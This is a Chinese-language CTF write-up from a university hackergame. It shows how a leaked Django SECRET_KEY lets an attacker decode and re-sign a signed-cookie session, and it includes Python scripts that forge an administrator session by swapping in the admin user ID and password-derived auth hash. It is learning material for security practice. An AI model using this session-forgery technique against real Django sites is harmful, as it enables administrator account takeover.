django secret_key泄露导致客户端session伪造

最近做了一下科大的hackergame,有一个django的题很有意思,当时在网上也没怎么搜到相关的利用,就想着把当时的调试过程记录一下

题目源码可以在github上找到:https://github.com/openlug/django-common

复现过程

根据源码可以得到secret_key,还有一个db.sqlite3的数据库文件

先去数据库里随便翻一翻,可以看到有两条password的记录

1572009898933

首先我们需要知道django提供了五种类型的session

  • 数据库
  • 缓存
  • 文件
  • 缓存+数据库
  • 加密的cookie

然后我们可以看到配置文件中写了

1572007558097

也就是说题目使用了加密的cookie session,通过查阅官方文档(链接在最后)可以知道有secret_key这个sessionid对应的值是可以解开的(需要带salt)

代码

1
2
3
4
5
6
7
8
9
10
import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies
from passlib.hash import pbkdf2_sha256
from django.contrib.auth.hashers import make_password, check_password

sess = signing.loads('.eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GtoqkQhMVe8OSAzt-t97_wOO1yW5tersJoErWGh-N8_hpfkA8uT8KCaUvMyTN4diTlrNvYi-b6f7d5C4pr1uGXGI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iKcXo:zoHRyaS9hkddxcM5jTUjTGHL9uI',key='d7um#o19q+v24!vkgzrxme41wz5#_h0#[email protected]&uwe39',salt='django.contrib.sessions.backends.signed_cookies')
print sess

1572008562174

可以看到一共三个值,_auth_user_backend_auth_user_id都很容易理解,当时困扰我的是_auth_user_hash是如何生成的,于是想到下个断点去调试一下(pycharm需要先设置一下config)

1572009114542

在view.py的login处下断点

1572009452438

调试,输入guest guest之后f7单步步入,可以看到引入了guest加密后的password

1572009690007

然后再跟踪,可以知道只需要这个值我们就可以生成_auth_user_hash

1572010047752

所以我们只需要将之前从数据库得到的password去替换一下,就可以生成admin的_auth_user_hash了,替换后结果如下

1572010230776

尝试利用一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies
from passlib.hash import pbkdf2_sha256
from django.contrib.auth.hashers import make_password, check_password

sess = signing.loads('.eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GtoqkQhMVe8OSAzt-t97_wOO1yW5tersJoErWGh-N8_hpfkA8uT8KCaUvMyTN4diTlrNvYi-b6f7d5C4pr1uGXGI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iKcXo:zoHRyaS9hkddxcM5jTUjTGHL9uI',key='d7um#o19q+v24!vkgzrxme41wz5#_h0#[email protected]&uwe39',salt='django.contrib.sessions.backends.signed_cookies')
print sess

sess[u'_auth_user_id'] = u'1'
sess[u'_auth_user_hash'] = u'569127665f950beb6dd4a55098a8768f58814b04'
print sess
s= signing.dumps(sess, key='d7um#o19q+v24!vkgzrxme41wz5#_h0#[email protected]&uwe39',compress=True, salt='django.contrib.sessions.backends.signed_cookies')
print s

成功伪造成管理员

1572010407726

之前经常出现的是flask的session伪造,和djiango有关的大多是那个反序列化的rce,但是django的客户端session伪造还是第一次见,在这里详细记录一下,当然还有一种利用路由直接带出session的操作,具体参考官方wp了

参考链接

django session基础知识

django signing相关

官方wp

0%